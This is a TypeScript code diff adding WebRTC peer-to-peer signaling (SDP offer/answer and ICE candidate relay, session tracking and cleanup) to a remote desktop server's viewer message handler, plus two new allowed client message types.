@@ -213,6 +214,35 @@ export const rdStreamingState = new Map<string, {
|
||||
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
|
||||
const RD_INPUT_TTL_MS = 10_000;
|
||||
|
||||
type P2PSession = { viewer: ServerWebSocket<SocketData>; clientId: string };
|
||||
const p2pAgentToViewer = new Map<string, P2PSession>();
|
||||
const p2pViewerToAgent = new WeakMap<ServerWebSocket<SocketData>, string>();
|
||||
|
||||
function createP2PSession(ws: ServerWebSocket<SocketData>, clientId: string): string {
|
||||
const prior = p2pViewerToAgent.get(ws);
|
||||
if (prior) {
|
||||
p2pAgentToViewer.delete(prior);
|
||||
}
|
||||
const sessionId = uuidv4();
|
||||
p2pAgentToViewer.set(sessionId, { viewer: ws, clientId });
|
||||
p2pViewerToAgent.set(ws, sessionId);
|
||||
return sessionId;
|
||||
}
|
||||
|
||||
function lookupP2PSession(sessionId: string): P2PSession | undefined {
|
||||
return p2pAgentToViewer.get(sessionId);
|
||||
}
|
||||
|
||||
function clearP2PSessionForViewer(ws: ServerWebSocket<SocketData>): { sessionId: string; clientId: string } | null {
|
||||
const sessionId = p2pViewerToAgent.get(ws);
|
||||
if (!sessionId) return null;
|
||||
const entry = p2pAgentToViewer.get(sessionId);
|
||||
p2pAgentToViewer.delete(sessionId);
|
||||
p2pViewerToAgent.delete(ws);
|
||||
if (!entry) return null;
|
||||
return { sessionId, clientId: entry.clientId };
|
||||
}
|
||||
|
||||
function pruneRdInputPending(now = Date.now()) {
|
||||
for (const [id, pending] of rdInputPending.entries()) {
|
||||
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
|
||||
@@ -384,10 +414,25 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ((payload as any).webrtc === true) {
|
||||
const streamPath = webrtcStreamPathFor(clientId);
|
||||
const token = issueWebrtcPublishToken(clientId);
|
||||
const whipPath = `/api/webrtc/${streamPath}/whip`;
|
||||
sendDesktopCommand(target, "webrtc_publish", {
|
||||
streamPath,
|
||||
whipPath,
|
||||
token,
|
||||
});
|
||||
safeSendViewer(ws, {
|
||||
type: "webrtc_ready",
|
||||
streamPath,
|
||||
whepPath: `/api/webrtc/${streamPath}/whep`,
|
||||
});
|
||||
}
|
||||
sendDesktopCommand(target, "desktop_start", {});
|
||||
state.isStreaming = true;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] started streaming for client ${clientId}`);
|
||||
logger.debug(`[rd] started streaming for client ${clientId}${(payload as any).webrtc === true ? " (webrtc)" : ""}`);
|
||||
} else {
|
||||
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
|
||||
}
|
||||
@@ -397,6 +442,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
.filter(s => s.id !== ws.data.sessionId);
|
||||
if (otherViewers.length === 0) {
|
||||
sendDesktopCommand(target, "desktop_stop", {});
|
||||
sendDesktopCommand(target, "webrtc_stop", {});
|
||||
if (state.isStreaming) {
|
||||
state.isStreaming = false;
|
||||
rdStreamingState.set(clientId, state);
|
||||
@@ -542,11 +588,70 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_offer": {
|
||||
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
|
||||
if (!sdp) break;
|
||||
const sessionId = createP2PSession(ws, clientId);
|
||||
sendDesktopCommand(target, "webrtc_p2p_offer", { sessionId, sdp });
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_ice": {
|
||||
const sessionId = p2pViewerToAgent.get(ws);
|
||||
if (!sessionId) break;
|
||||
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
|
||||
if (!candidate) break;
|
||||
sendDesktopCommand(target, "webrtc_p2p_ice", {
|
||||
sessionId,
|
||||
candidate,
|
||||
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
|
||||
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_stop": {
|
||||
const cleared = clearP2PSessionForViewer(ws);
|
||||
if (cleared) {
|
||||
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebrtcP2PAnswer(_clientId: string, payload: any) {
|
||||
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||
const sdp = typeof payload?.sdp === "string" ? payload.sdp : "";
|
||||
if (!sessionId || !sdp) return;
|
||||
const session = lookupP2PSession(sessionId);
|
||||
if (!session) return;
|
||||
safeSendViewer(session.viewer, { type: "webrtc_p2p_answer", sdp });
|
||||
}
|
||||
|
||||
export function handleWebrtcP2PIce(_clientId: string, payload: any) {
|
||||
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||
const candidate = typeof payload?.candidate === "string" ? payload.candidate : "";
|
||||
if (!sessionId || !candidate) return;
|
||||
const session = lookupP2PSession(sessionId);
|
||||
if (!session) return;
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "webrtc_p2p_ice",
|
||||
candidate,
|
||||
sdpMid: typeof payload?.sdpMid === "string" ? payload.sdpMid : "",
|
||||
sdpMLineIndex: Number(payload?.sdpMLineIndex) || 0,
|
||||
});
|
||||
}
|
||||
|
||||
export function cleanupRdViewerP2P(ws: ServerWebSocket<SocketData>) {
|
||||
const cleared = clearP2PSessionForViewer(ws);
|
||||
if (!cleared) return;
|
||||
const target = clientManager.getClient(cleared.clientId);
|
||||
if (target) {
|
||||
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
|
||||
}
|
||||
}
|
||||
|
||||
function handleRemoteDesktopFrame(payload: any) {
|
||||
const clientId = payload.clientId as string;
|
||||
const header = payload.header;
|
||||
|
||||
@@ -37,6 +37,8 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
"disconnect_info",
|
||||
"webrtc_p2p_answer",
|
||||
"webrtc_p2p_ice",
|
||||
]);
|
||||
|
||||
export function isAllowedClientMessageType(type: string): boolean {
|
||||
|
||||
Reference in New Issue
Block a user